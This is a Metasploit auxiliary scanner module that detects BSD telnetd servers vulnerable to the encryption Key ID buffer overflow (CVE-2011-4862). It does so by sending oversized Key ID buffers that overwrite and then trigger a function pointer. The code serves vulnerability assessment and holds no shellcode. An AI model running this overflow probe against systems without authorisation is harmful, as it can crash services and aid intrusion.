/
telnet_encrypt_overflow.rb
146 lines (124 loc) · 4.21 KB
/
telnet_encrypt_overflow.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Telnet
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Telnet Service Encyption Key ID Overflow Detection',
'Version' => '$Revision$',
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['BID', '51182'],
['CVE', '2011-4862'],
['EDB', '18280'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2011/12/28/more-fun-with-bsd-derived-telnet-daemons']
]
)
register_options(
[
Opt::RPORT(23),
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])
], self.class)
end
def to
return 30 if datastore['TIMEOUT'].to_i.zero?
datastore['TIMEOUT'].to_i
end
def run_host(ip)
begin
::Timeout.timeout(to) do
res = connect
# This makes db_services look a lot nicer.
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
svc = report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_sanitized)
# Check for encryption option ( IS(0) DES_CFB64(1) )
sock.put("\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0")
loop do
data = sock.get_once(-1, to) rescue nil
if not data
print_status("#{ip}:#{rport} Does not support encryption: #{banner_sanitized} #{data.to_s.unpack("H*")[0]}")
return
end
break if data.index("\xff\xfa\x26\x02\x01")
end
buff_good = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 63) + "\xff\xf0"
buff_long = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 64) + ( "\xcc" * 32) + "\xff\xf0"
begin
#
# Send a long, but within boundary Key ID
#
sock.put(buff_good)
data = sock.get_once(-1, 5) rescue nil
unless data
print_status("#{ip}:#{rport} UNKNOWN: No response to the initial probe: #{banner_sanitized}")
return
end
unless data.index("\xff\xfa\x26\x08\xff\xf0")
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
return
end
#
# First round to overwrite the function pointer itself
#
sock.put(buff_long)
data = sock.get_once(-1, 5)
unless data
print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to first long Key ID: #{banner_sanitized}")
return
end
unless data.index("\xff\xfa\x26\x08\xff\xf0")
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to first Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
return
end
#
# Second round to force the function to be called
#
sock.put(buff_long)
data = sock.get_once(-1, 5)
unless data
print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to second long Key ID: #{banner_sanitized}")
return
end
unless data.index("\xff\xfa\x26\x08\xff\xf0")
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to second Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
return
end
print_status("#{ip}:#{rport} NOT VULNERABLE: Service did not disconnect: #{banner_sanitized}")
return
rescue ::EOFError
end
# EOFError or response to 64-byte Key Id indicates vulnerable systems
print_good("#{ip}:#{rport} VULNERABLE: #{banner_sanitized}")
report_vuln(
{
:host => ip,
:service => svc,
:name => self.name,
:info => "Module #{self.fullname} confirmed acceptance of a long key ID: #{banner_sanitized}",
:refs => self.references
}
)
end
rescue ::Rex::ConnectionError
rescue Timeout::Error
print_error("#{target_host}:#{rport} Timed out after #{to} seconds")
rescue ::Exception => e
print_error("#{target_host}:#{rport} Error: #{e} #{e.backtrace}")
ensure
disconnect
end
end
end